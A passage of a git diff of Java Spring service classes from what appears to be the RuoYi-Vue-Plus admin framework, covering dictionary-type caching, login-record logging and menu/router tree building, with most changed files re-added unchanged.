LambdaQueryWrapper buildQueryWrapper(SysDictTypeBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.like(StringUtils.isNotBlank(bo.getDictName()), SysDictType::getDictName, bo.getDictName()); + lqw.like(StringUtils.isNotBlank(bo.getDictType()), SysDictType::getDictType, bo.getDictType()); + lqw.between(params.get("beginTime") != null && params.get("endTime") != null, + SysDictType::getCreateTime, params.get("beginTime"), params.get("endTime")); + lqw.orderByAsc(SysDictType::getDictId); + return lqw; + } + + /** + * 根据所有字典类型 + * + * @return 字典类型集合信息 + */ + @Override + public List selectDictTypeAll() { + return baseMapper.selectVoList(); + } + + /** + * 根据字典类型查询字典数据 + * + * @param dictType 字典类型 + * @return 字典数据集合信息 + */ + @Cacheable(cacheNames = CacheNames.SYS_DICT, key = "#dictType") + @Override + public List selectDictDataByType(String dictType) { + List dictDatas = dictDataMapper.selectDictDataByType(dictType); + if (CollUtil.isNotEmpty(dictDatas)) { + return dictDatas; + } + return null; + } + + /** + * 根据字典类型ID查询信息 + * + * @param dictId 字典类型ID + * @return 字典类型 + */ + @Override + public SysDictTypeVo selectDictTypeById(Long dictId) { + return baseMapper.selectVoById(dictId); + } + + /** + * 根据字典类型查询信息 + * + * @param dictType 字典类型 + * @return 字典类型 + */ + @Override + public SysDictTypeVo selectDictTypeByType(String dictType) { + return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(SysDictType::getDictType, dictType)); + } + + /** + * 批量删除字典类型信息 + * + * @param dictIds 需要删除的字典ID + */ + @Override + public void deleteDictTypeByIds(Long[] dictIds) { + for (Long dictId : dictIds) { + SysDictType dictType = baseMapper.selectById(dictId); + if (dictDataMapper.exists(new LambdaQueryWrapper() + .eq(SysDictData::getDictType, dictType.getDictType()))) { + throw new ServiceException(String.format("%1$s已分配,不能删除", dictType.getDictName())); + } + CacheUtils.evict(CacheNames.SYS_DICT, dictType.getDictType()); + } + baseMapper.deleteByIds(Arrays.asList(dictIds)); + } + + /** + * 重置字典缓存数据 + */ + @Override + public void resetDictCache() { + CacheUtils.clear(CacheNames.SYS_DICT); + } + + /** + * 新增保存字典类型信息 + * + * @param bo 字典类型信息 + * @return 结果 + */ + @CachePut(cacheNames = CacheNames.SYS_DICT, key = "#bo.dictType") + @Override + public List insertDictType(SysDictTypeBo bo) { + SysDictType dict = MapstructUtils.convert(bo, SysDictType.class); + int row = baseMapper.insert(dict); + if (row > 0) { + // 新增 type 下无 data 数据 返回空防止缓存穿透 + return new ArrayList<>(); + } + throw new ServiceException("操作失败"); + } + + /** + * 修改保存字典类型信息 + * + * @param bo 字典类型信息 + * @return 结果 + */ + @CachePut(cacheNames = CacheNames.SYS_DICT, key = "#bo.dictType") + @Override + @Transactional(rollbackFor = Exception.class) + public List updateDictType(SysDictTypeBo bo) { + SysDictType dict = MapstructUtils.convert(bo, SysDictType.class); + SysDictType oldDict = baseMapper.selectById(dict.getDictId()); + dictDataMapper.update(null, new LambdaUpdateWrapper() + .set(SysDictData::getDictType, dict.getDictType()) + .eq(SysDictData::getDictType, oldDict.getDictType())); + int row = baseMapper.updateById(dict); + if (row > 0) { + CacheUtils.evict(CacheNames.SYS_DICT, oldDict.getDictType()); + return dictDataMapper.selectDictDataByType(dict.getDictType()); + } + throw new ServiceException("操作失败"); + } + + /** + * 校验字典类型称是否唯一 + * + * @param dictType 字典类型 + * @return 结果 + */ + @Override + public boolean checkDictTypeUnique(SysDictTypeBo dictType) { + boolean exist = baseMapper.exists(new LambdaQueryWrapper() + .eq(SysDictType::getDictType, dictType.getDictType()) + .ne(ObjectUtil.isNotNull(dictType.getDictId()), SysDictType::getDictId, dictType.getDictId())); + return !exist; + } + + /** + * 根据字典类型和字典值获取字典标签 + * + * @param dictType 字典类型 + * @param dictValue 字典值 + * @param separator 分隔符 + * @return 字典标签 + */ + @Override + public String getDictLabel(String dictType, String dictValue, String separator) { + List datas = SpringUtils.getAopProxy(this).selectDictDataByType(dictType); + Map map = StreamUtils.toMap(datas, SysDictDataVo::getDictValue, SysDictDataVo::getDictLabel); + if (StringUtils.containsAny(dictValue, separator)) { + return Arrays.stream(dictValue.split(separator)) + .map(v -> map.getOrDefault(v, StringUtils.EMPTY)) + .collect(Collectors.joining(separator)); + } else { + return map.getOrDefault(dictValue, StringUtils.EMPTY); + } + } + + /** + * 根据字典类型和字典标签获取字典值 + * + * @param dictType 字典类型 + * @param dictLabel 字典标签 + * @param separator 分隔符 + * @return 字典值 + */ + @Override + public String getDictValue(String dictType, String dictLabel, String separator) { + List datas = SpringUtils.getAopProxy(this).selectDictDataByType(dictType); + Map map = StreamUtils.toMap(datas, SysDictDataVo::getDictLabel, SysDictDataVo::getDictValue); + if (StringUtils.containsAny(dictLabel, separator)) { + return Arrays.stream(dictLabel.split(separator)) + .map(l -> map.getOrDefault(l, StringUtils.EMPTY)) + .collect(Collectors.joining(separator)); + } else { + return map.getOrDefault(dictLabel, StringUtils.EMPTY); + } + } + + @Override + public Map getAllDictByDictType(String dictType) { + List list = selectDictDataByType(dictType); + return StreamUtils.toMap(list, SysDictDataVo::getDictValue, SysDictDataVo::getDictLabel); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysLogininforServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysLogininforServiceImpl.java index b95baf4..b38f54f 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysLogininforServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysLogininforServiceImpl.java @@ -1,176 +1,176 @@ -package org.dromara.system.service.impl; - -import cn.hutool.core.util.ObjectUtil; -import cn.hutool.http.useragent.UserAgent; -import cn.hutool.http.useragent.UserAgentUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import jakarta.servlet.http.HttpServletRequest; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.constant.Constants; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.ServletUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.core.utils.ip.AddressUtils; -import org.dromara.common.log.event.LogininforEvent; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.system.domain.SysLogininfor; -import org.dromara.system.domain.bo.SysLogininforBo; -import org.dromara.system.domain.vo.SysClientVo; -import org.dromara.system.domain.vo.SysLogininforVo; -import org.dromara.system.mapper.SysLogininforMapper; -import org.dromara.system.service.ISysClientService; -import org.dromara.system.service.ISysLogininforService; -import org.springframework.context.event.EventListener; -import org.springframework.scheduling.annotation.Async; -import org.springframework.stereotype.Service; - -import java.util.Arrays; -import java.util.Date; -import java.util.List; -import java.util.Map; - -/** - * 系统访问日志情况信息 服务层处理 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@Slf4j -@Service -public class SysLogininforServiceImpl implements ISysLogininforService { - - private final SysLogininforMapper baseMapper; - - private final ISysClientService clientService; - - /** - * 记录登录信息 - * - * @param logininforEvent 登录事件 - */ - @Async - @EventListener - public void recordLogininfor(LogininforEvent logininforEvent) { - HttpServletRequest request = logininforEvent.getRequest(); - final UserAgent userAgent = UserAgentUtil.parse(request.getHeader("User-Agent")); - final String ip = ServletUtils.getClientIP(request); - // 客户端信息 - String clientId = request.getHeader(LoginHelper.CLIENT_KEY); - SysClientVo client = null; - if (StringUtils.isNotBlank(clientId)) { - client = clientService.queryByClientId(clientId); - } - - String address = AddressUtils.getRealAddressByIP(ip); - StringBuilder s = new StringBuilder(); - s.append(getBlock(ip)); - s.append(address); - s.append(getBlock(logininforEvent.getUsername())); - s.append(getBlock(logininforEvent.getStatus())); - s.append(getBlock(logininforEvent.getMessage())); - // 打印信息到日志 - log.info(s.toString(), logininforEvent.getArgs()); - // 获取客户端操作系统 - String os = userAgent.getOs().getName(); - // 获取客户端浏览器 - String browser = userAgent.getBrowser().getName(); - // 封装对象 - SysLogininforBo logininfor = new SysLogininforBo(); - logininfor.setTenantId(logininforEvent.getTenantId()); - logininfor.setUserName(logininforEvent.getUsername()); - if (ObjectUtil.isNotNull(client)) { - logininfor.setClientKey(client.getClientKey()); - logininfor.setDeviceType(client.getDeviceType()); - } - logininfor.setIpaddr(ip); - logininfor.setLoginLocation(address); - logininfor.setBrowser(browser); - logininfor.setOs(os); - logininfor.setMsg(logininforEvent.getMessage()); - // 日志状态 - if (StringUtils.equalsAny(logininforEvent.getStatus(), Constants.LOGIN_SUCCESS, Constants.LOGOUT, Constants.REGISTER)) { - logininfor.setStatus(Constants.SUCCESS); - } else if (Constants.LOGIN_FAIL.equals(logininforEvent.getStatus())) { - logininfor.setStatus(Constants.FAIL); - } - // 插入数据 - insertLogininfor(logininfor); - } - - private String getBlock(Object msg) { - if (msg == null) { - msg = ""; - } - return "[" + msg.toString() + "]"; - } - - @Override - public TableDataInfo selectPageLogininforList(SysLogininforBo logininfor, PageQuery pageQuery) { - Map params = logininfor.getParams(); - LambdaQueryWrapper lqw = new LambdaQueryWrapper() - .like(StringUtils.isNotBlank(logininfor.getIpaddr()), SysLogininfor::getIpaddr, logininfor.getIpaddr()) - .eq(StringUtils.isNotBlank(logininfor.getStatus()), SysLogininfor::getStatus, logininfor.getStatus()) - .like(StringUtils.isNotBlank(logininfor.getUserName()), SysLogininfor::getUserName, logininfor.getUserName()) - .between(params.get("beginTime") != null && params.get("endTime") != null, - SysLogininfor::getLoginTime, params.get("beginTime"), params.get("endTime")); - if (StringUtils.isBlank(pageQuery.getOrderByColumn())) { - pageQuery.setOrderByColumn("info_id"); - pageQuery.setIsAsc("desc"); - } - Page page = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(page); - } - - /** - * 新增系统登录日志 - * - * @param bo 访问日志对象 - */ - @Override - public void insertLogininfor(SysLogininforBo bo) { - SysLogininfor logininfor = MapstructUtils.convert(bo, SysLogininfor.class); - logininfor.setLoginTime(new Date()); - baseMapper.insert(logininfor); - } - - /** - * 查询系统登录日志集合 - * - * @param logininfor 访问日志对象 - * @return 登录记录集合 - */ - @Override - public List selectLogininforList(SysLogininforBo logininfor) { - Map params = logininfor.getParams(); - return baseMapper.selectVoList(new LambdaQueryWrapper() - .like(StringUtils.isNotBlank(logininfor.getIpaddr()), SysLogininfor::getIpaddr, logininfor.getIpaddr()) - .eq(StringUtils.isNotBlank(logininfor.getStatus()), SysLogininfor::getStatus, logininfor.getStatus()) - .like(StringUtils.isNotBlank(logininfor.getUserName()), SysLogininfor::getUserName, logininfor.getUserName()) - .between(params.get("beginTime") != null && params.get("endTime") != null, - SysLogininfor::getLoginTime, params.get("beginTime"), params.get("endTime")) - .orderByDesc(SysLogininfor::getInfoId)); - } - - /** - * 批量删除系统登录日志 - * - * @param infoIds 需要删除的登录日志ID - * @return 结果 - */ - @Override - public int deleteLogininforByIds(Long[] infoIds) { - return baseMapper.deleteByIds(Arrays.asList(infoIds)); - } - - /** - * 清空系统登录日志 - */ - @Override - public void cleanLogininfor() { - baseMapper.delete(new LambdaQueryWrapper<>()); - } -} +package org.dromara.system.service.impl; + +import cn.hutool.core.util.ObjectUtil; +import cn.hutool.http.useragent.UserAgent; +import cn.hutool.http.useragent.UserAgentUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import jakarta.servlet.http.HttpServletRequest; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.constant.Constants; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.ServletUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.core.utils.ip.AddressUtils; +import org.dromara.common.log.event.LogininforEvent; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.system.domain.SysLogininfor; +import org.dromara.system.domain.bo.SysLogininforBo; +import org.dromara.system.domain.vo.SysClientVo; +import org.dromara.system.domain.vo.SysLogininforVo; +import org.dromara.system.mapper.SysLogininforMapper; +import org.dromara.system.service.ISysClientService; +import org.dromara.system.service.ISysLogininforService; +import org.springframework.context.event.EventListener; +import org.springframework.scheduling.annotation.Async; +import org.springframework.stereotype.Service; + +import java.util.Arrays; +import java.util.Date; +import java.util.List; +import java.util.Map; + +/** + * 系统访问日志情况信息 服务层处理 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@Slf4j +@Service +public class SysLogininforServiceImpl implements ISysLogininforService { + + private final SysLogininforMapper baseMapper; + + private final ISysClientService clientService; + + /** + * 记录登录信息 + * + * @param logininforEvent 登录事件 + */ + @Async + @EventListener + public void recordLogininfor(LogininforEvent logininforEvent) { + HttpServletRequest request = logininforEvent.getRequest(); + final UserAgent userAgent = UserAgentUtil.parse(request.getHeader("User-Agent")); + final String ip = ServletUtils.getClientIP(request); + // 客户端信息 + String clientId = request.getHeader(LoginHelper.CLIENT_KEY); + SysClientVo client = null; + if (StringUtils.isNotBlank(clientId)) { + client = clientService.queryByClientId(clientId); + } + + String address = AddressUtils.getRealAddressByIP(ip); + StringBuilder s = new StringBuilder(); + s.append(getBlock(ip)); + s.append(address); + s.append(getBlock(logininforEvent.getUsername())); + s.append(getBlock(logininforEvent.getStatus())); + s.append(getBlock(logininforEvent.getMessage())); + // 打印信息到日志 + log.info(s.toString(), logininforEvent.getArgs()); + // 获取客户端操作系统 + String os = userAgent.getOs().getName(); + // 获取客户端浏览器 + String browser = userAgent.getBrowser().getName(); + // 封装对象 + SysLogininforBo logininfor = new SysLogininforBo(); + logininfor.setTenantId(logininforEvent.getTenantId()); + logininfor.setUserName(logininforEvent.getUsername()); + if (ObjectUtil.isNotNull(client)) { + logininfor.setClientKey(client.getClientKey()); + logininfor.setDeviceType(client.getDeviceType()); + } + logininfor.setIpaddr(ip); + logininfor.setLoginLocation(address); + logininfor.setBrowser(browser); + logininfor.setOs(os); + logininfor.setMsg(logininforEvent.getMessage()); + // 日志状态 + if (StringUtils.equalsAny(logininforEvent.getStatus(), Constants.LOGIN_SUCCESS, Constants.LOGOUT, Constants.REGISTER)) { + logininfor.setStatus(Constants.SUCCESS); + } else if (Constants.LOGIN_FAIL.equals(logininforEvent.getStatus())) { + logininfor.setStatus(Constants.FAIL); + } + // 插入数据 + insertLogininfor(logininfor); + } + + private String getBlock(Object msg) { + if (msg == null) { + msg = ""; + } + return "[" + msg.toString() + "]"; + } + + @Override + public TableDataInfo selectPageLogininforList(SysLogininforBo logininfor, PageQuery pageQuery) { + Map params = logininfor.getParams(); + LambdaQueryWrapper lqw = new LambdaQueryWrapper() + .like(StringUtils.isNotBlank(logininfor.getIpaddr()), SysLogininfor::getIpaddr, logininfor.getIpaddr()) + .eq(StringUtils.isNotBlank(logininfor.getStatus()), SysLogininfor::getStatus, logininfor.getStatus()) + .like(StringUtils.isNotBlank(logininfor.getUserName()), SysLogininfor::getUserName, logininfor.getUserName()) + .between(params.get("beginTime") != null && params.get("endTime") != null, + SysLogininfor::getLoginTime, params.get("beginTime"), params.get("endTime")); + if (StringUtils.isBlank(pageQuery.getOrderByColumn())) { + pageQuery.setOrderByColumn("info_id"); + pageQuery.setIsAsc("desc"); + } + Page page = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(page); + } + + /** + * 新增系统登录日志 + * + * @param bo 访问日志对象 + */ + @Override + public void insertLogininfor(SysLogininforBo bo) { + SysLogininfor logininfor = MapstructUtils.convert(bo, SysLogininfor.class); + logininfor.setLoginTime(new Date()); + baseMapper.insert(logininfor); + } + + /** + * 查询系统登录日志集合 + * + * @param logininfor 访问日志对象 + * @return 登录记录集合 + */ + @Override + public List selectLogininforList(SysLogininforBo logininfor) { + Map params = logininfor.getParams(); + return baseMapper.selectVoList(new LambdaQueryWrapper() + .like(StringUtils.isNotBlank(logininfor.getIpaddr()), SysLogininfor::getIpaddr, logininfor.getIpaddr()) + .eq(StringUtils.isNotBlank(logininfor.getStatus()), SysLogininfor::getStatus, logininfor.getStatus()) + .like(StringUtils.isNotBlank(logininfor.getUserName()), SysLogininfor::getUserName, logininfor.getUserName()) + .between(params.get("beginTime") != null && params.get("endTime") != null, + SysLogininfor::getLoginTime, params.get("beginTime"), params.get("endTime")) + .orderByDesc(SysLogininfor::getInfoId)); + } + + /** + * 批量删除系统登录日志 + * + * @param infoIds 需要删除的登录日志ID + * @return 结果 + */ + @Override + public int deleteLogininforByIds(Long[] infoIds) { + return baseMapper.deleteByIds(Arrays.asList(infoIds)); + } + + /** + * 清空系统登录日志 + */ + @Override + public void cleanLogininfor() { + baseMapper.delete(new LambdaQueryWrapper<>()); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysMenuServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysMenuServiceImpl.java index 354d4b4..c5308ff 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysMenuServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysMenuServiceImpl.java @@ -1,369 +1,369 @@ -package org.dromara.system.service.impl; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.convert.Convert; -import cn.hutool.core.lang.tree.Tree; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.core.utils.TreeBuildUtils; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.system.domain.SysMenu; -import org.dromara.system.domain.SysRole; -import org.dromara.system.domain.SysRoleMenu; -import org.dromara.system.domain.SysTenantPackage; -import org.dromara.system.domain.bo.SysMenuBo; -import org.dromara.system.domain.vo.MetaVo; -import org.dromara.system.domain.vo.RouterVo; -import org.dromara.system.domain.vo.SysMenuVo; -import org.dromara.system.mapper.SysMenuMapper; -import org.dromara.system.mapper.SysRoleMapper; -import org.dromara.system.mapper.SysRoleMenuMapper; -import org.dromara.system.mapper.SysTenantPackageMapper; -import org.dromara.system.service.ISysMenuService; -import org.springframework.stereotype.Service; - -import java.util.*; - -/** - * 菜单 业务层处理 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@Service -public class SysMenuServiceImpl implements ISysMenuService { - - private final SysMenuMapper baseMapper; - private final SysRoleMapper roleMapper; - private final SysRoleMenuMapper roleMenuMapper; - private final SysTenantPackageMapper tenantPackageMapper; - - /** - * 根据用户查询系统菜单列表 - * - * @param userId 用户ID - * @return 菜单列表 - */ - @Override - public List selectMenuList(Long userId) { - return selectMenuList(new SysMenuBo(), userId); - } - - /** - * 查询系统菜单列表 - * - * @param menu 菜单信息 - * @return 菜单列表 - */ - @Override - public List selectMenuList(SysMenuBo menu, Long userId) { - List menuList; - // 管理员显示所有菜单信息 - if (LoginHelper.isSuperAdmin(userId)) { - menuList = baseMapper.selectVoList(new LambdaQueryWrapper() - .like(StringUtils.isNotBlank(menu.getMenuName()), SysMenu::getMenuName, menu.getMenuName()) - .eq(StringUtils.isNotBlank(menu.getVisible()), SysMenu::getVisible, menu.getVisible()) - .eq(StringUtils.isNotBlank(menu.getStatus()), SysMenu::getStatus, menu.getStatus()) - .orderByAsc(SysMenu::getParentId) - .orderByAsc(SysMenu::getOrderNum)); - } else { - QueryWrapper wrapper = Wrappers.query(); - wrapper.inSql("r.role_id", "select role_id from sys_user_role where user_id = " + userId) - .like(StringUtils.isNotBlank(menu.getMenuName()), "m.menu_name", menu.getMenuName()) - .eq(StringUtils.isNotBlank(menu.getVisible()), "m.visible", menu.getVisible()) - .eq(StringUtils.isNotBlank(menu.getStatus()), "m.status", menu.getStatus()) - .orderByAsc("m.parent_id") - .orderByAsc("m.order_num"); - List list = baseMapper.selectMenuListByUserId(wrapper); - menuList = MapstructUtils.convert(list, SysMenuVo.class); - } - return menuList; - } - - /** - * 根据用户ID查询权限 - * - * @param userId 用户ID - * @return 权限列表 - */ - @Override - public Set selectMenuPermsByUserId(Long userId) { - List perms = baseMapper.selectMenuPermsByUserId(userId); - Set permsSet = new HashSet<>(); - for (String perm : perms) { - if (StringUtils.isNotEmpty(perm)) { - permsSet.addAll(StringUtils.splitList(perm.trim())); - } - } - return permsSet; - } - - /** - * 根据角色ID查询权限 - * - * @param roleId 角色ID - * @return 权限列表 - */ - @Override - public Set selectMenuPermsByRoleId(Long roleId) { - List perms = baseMapper.selectMenuPermsByRoleId(roleId); - Set permsSet = new HashSet<>(); - for (String perm : perms) { - if (StringUtils.isNotEmpty(perm)) { - permsSet.addAll(StringUtils.splitList(perm.trim())); - } - } - return permsSet; - } - - /** - * 根据用户ID查询菜单 - * - * @param userId 用户名称 - * @return 菜单列表 - */ - @Override - public List selectMenuTreeByUserId(Long userId) { - List menus; - if (LoginHelper.isSuperAdmin(userId)) { - menus = baseMapper.selectMenuTreeAll(); - } else { - menus = baseMapper.selectMenuTreeByUserId(userId); - } - return getChildPerms(menus, 0); - } - - /** - * 根据角色ID查询菜单树信息 - * - * @param roleId 角色ID - * @return 选中菜单列表 - */ - @Override - public List selectMenuListByRoleId(Long roleId) { - SysRole role = roleMapper.selectById(roleId); - return baseMapper.selectMenuListByRoleId(roleId, role.getMenuCheckStrictly()); - } - - /** - * 根据租户套餐ID查询菜单树信息 - * - * @param packageId 租户套餐ID - * @return 选中菜单列表 - */ - @Override - public List selectMenuListByPackageId(Long packageId) { - SysTenantPackage tenantPackage = tenantPackageMapper.selectById(packageId); - List menuIds = StringUtils.splitTo(tenantPackage.getMenuIds(), Convert::toLong); - if (CollUtil.isEmpty(menuIds)) { - return List.of(); - } - List parentIds = null; - if (tenantPackage.getMenuCheckStrictly()) { - parentIds = baseMapper.selectObjs(new LambdaQueryWrapper() - .select(SysMenu::getParentId) - .in(SysMenu::getMenuId, menuIds), x -> {return Convert.toLong(x);}); - } - return baseMapper.selectObjs(new LambdaQueryWrapper() - .in(SysMenu::getMenuId, menuIds) - .notIn(CollUtil.isNotEmpty(parentIds), SysMenu::getMenuId, parentIds), x -> {return Convert.toLong(x);}); - } - - /** - * 构建前端路由所需要的菜单 - * 路由name命名规则 path首字母转大写 + id - * - * @param menus 菜单列表 - * @return 路由列表 - */ - @Override - public List buildMenus(List menus) { - List routers = new LinkedList<>(); - for (SysMenu menu : menus) { - String name = menu.getRouteName() + menu.getMenuId(); - RouterVo router = new RouterVo(); - router.setHidden("1".equals(menu.getVisible())); - router.setName(name); - router.setPath(menu.getRouterPath()); - router.setComponent(menu.getComponentInfo()); - router.setQuery(menu.getQueryParam()); - router.setMeta(new MetaVo(menu.getMenuName(), menu.getIcon(), StringUtils.equals("1", menu.getIsCache()), menu.getPath())); - List cMenus = menu.getChildren(); - if (CollUtil.isNotEmpty(cMenus) && SystemConstants.TYPE_DIR.equals(menu.getMenuType())) { - router.setAlwaysShow(true); - router.setRedirect("noRedirect"); - router.setChildren(buildMenus(cMenus)); - } else if (menu.isMenuFrame()) { - String frameName = StringUtils.capitalize(menu.getPath()) + menu.getMenuId(); - router.setMeta(null); - List childrenList = new ArrayList<>(); - RouterVo children = new RouterVo(); - children.setPath(menu.getPath()); - children.setComponent(menu.getComponent()); - children.setName(frameName); - children.setMeta(new MetaVo(menu.getMenuName(), menu.getIcon(), StringUtils.equals("1", menu.getIsCache()), menu.getPath())); - children.setQuery(menu.getQueryParam()); - childrenList.add(children); - router.setChildren(childrenList); - } else if (menu.getParentId().intValue() == 0 && menu.isInnerLink()) { - router.setMeta(new MetaVo(menu.getMenuName(), menu.getIcon())); - router.setPath("/"); - List childrenList = new ArrayList<>(); - RouterVo children = new RouterVo(); - String routerPath = SysMenu.innerLinkReplaceEach(menu.getPath()); - String innerLinkName = StringUtils.capitalize(routerPath) + menu.getMenuId(); - children.setPath(routerPath); - children.setComponent(SystemConstants.INNER_LINK); - children.setName(innerLinkName); - children.setMeta(new MetaVo(menu.getMenuName(), menu.getIcon(), menu.getPath())); - childrenList.add(children); - router.setChildren(childrenList); - } - routers.add(router); - } - return routers; - } - - /** - * 构建前端所需要下拉树结构 - * - * @param menus 菜单列表 - * @return 下拉树结构列表 - */ - @Override - public List> buildMenuTreeSelect(List menus) { - if (CollUtil.isEmpty(menus)) { - return CollUtil.newArrayList(); - } - return TreeBuildUtils.build(menus, (menu, tree) -> - tree.setId(menu.getMenuId()) - .setParentId(menu.getParentId()) - .setName(menu.getMenuName()) - .setWeight(menu.getOrderNum())); - } - - /** - * 根据菜单ID查询信息 - * - * @param menuId 菜单ID - * @return 菜单信息 - */ - @Override - public SysMenuVo selectMenuById(Long menuId) { - return baseMapper.selectVoById(menuId); - } - - /** - * 是否存在菜单子节点 - * - * @param menuId 菜单ID - * @return 结果 - */ - @Override - public boolean hasChildByMenuId(Long menuId) { - return baseMapper.exists(new LambdaQueryWrapper().eq(SysMenu::getParentId, menuId)); - } - - /** - * 查询菜单使用数量 - * - * @param menuId 菜单ID - * @return 结果 - */ - @Override - public boolean checkMenuExistRole(Long menuId) { - return roleMenuMapper.exists(new LambdaQueryWrapper().eq(SysRoleMenu::getMenuId, menuId)); - } - - /** - * 新增保存菜单信息 - * - * @param bo 菜单信息 - * @return 结果 - */ - @Override - public int insertMenu(SysMenuBo bo) { - SysMenu menu = MapstructUtils.convert(bo, SysMenu.class); - return baseMapper.insert(menu); - } - - /** - * 修改保存菜单信息 - * - * @param bo 菜单信息 - * @return 结果 - */ - @Override - public int updateMenu(SysMenuBo bo) { - SysMenu menu = MapstructUtils.convert(bo, SysMenu.class); - return baseMapper.updateById(menu); - } - - /** - * 删除菜单管理信息 - * - * @param menuId 菜单ID - * @return 结果 - */ - @Override - public int deleteMenuById(Long menuId) { - return baseMapper.deleteById(menuId); - } - - /** - * 校验菜单名称是否唯一 - * - * @param menu 菜单信息 - * @return 结果 - */ - @Override - public boolean checkMenuNameUnique(SysMenuBo menu) { - boolean exist = baseMapper.exists(new LambdaQueryWrapper() - .eq(SysMenu::getMenuName, menu.getMenuName()) - .eq(SysMenu::getParentId, menu.getParentId()) - .ne(ObjectUtil.isNotNull(menu.getMenuId()), SysMenu::getMenuId, menu.getMenuId())); - return !exist; - } - - /** - * 根据父节点的ID获取所有子节点 - * - * @param list 分类表 - * @param parentId 传入的父节点ID - * @return String - */ - private List getChildPerms(List list, int parentId) { - List returnList = new ArrayList<>(); - for (SysMenu t : list) { - // 一、根据传入的某个父节点ID,遍历该父节点的所有子节点 - if (t.getParentId() == parentId) { - recursionFn(list, t); - returnList.add(t); - } - } - return returnList; - } - - /** - * 递归列表 - */ - private void recursionFn(List list, SysMenu t) { - // 得到子节点列表 - List childList = StreamUtils.filter(list, n -> n.getParentId().equals(t.getMenuId())); - t.setChildren(childList); - for (SysMenu tChild : childList) { - // 判断是否有子节点 - if (list.stream().anyMatch(n -> n.getParentId().equals(tChild.getMenuId()))) { - recursionFn(list, tChild); - } - } - } - -} +package org.dromara.system.service.impl; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.convert.Convert; +import cn.hutool.core.lang.tree.Tree; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.core.utils.TreeBuildUtils; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.system.domain.SysMenu; +import org.dromara.system.domain.SysRole; +import org.dromara.system.domain.SysRoleMenu; +import org.dromara.system.domain.SysTenantPackage; +import org.dromara.system.domain.bo.SysMenuBo; +import org.dromara.system.domain.vo.MetaVo; +import org.dromara.system.domain.vo.RouterVo; +import org.dromara.system.domain.vo.SysMenuVo; +import org.dromara.system.mapper.SysMenuMapper; +import org.dromara.system.mapper.SysRoleMapper; +import org.dromara.system.mapper.SysRoleMenuMapper; +import org.dromara.system.mapper.SysTenantPackageMapper; +import org.dromara.system.service.ISysMenuService; +import org.springframework.stereotype.Service; + +import java.util.*; + +/** + * 菜单 业务层处理 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@Service +public class SysMenuServiceImpl implements ISysMenuService { + + private final SysMenuMapper baseMapper; + private final SysRoleMapper roleMapper; + private final SysRoleMenuMapper roleMenuMapper; + private final SysTenantPackageMapper tenantPackageMapper; + + /** + * 根据用户查询系统菜单列表 + * + * @param userId 用户ID + * @return 菜单列表 + */ + @Override + public List selectMenuList(Long userId) { + return selectMenuList(new SysMenuBo(), userId); + } + + /** + * 查询系统菜单列表 + * + * @param menu 菜单信息 + * @return 菜单列表 + */ + @Override + public List selectMenuList(SysMenuBo menu, Long userId) { + List menuList; + // 管理员显示所有菜单信息 + if (LoginHelper.isSuperAdmin(userId)) { + menuList = baseMapper.selectVoList(new LambdaQueryWrapper() + .like(StringUtils.isNotBlank(menu.getMenuName()), SysMenu::getMenuName, menu.getMenuName()) + 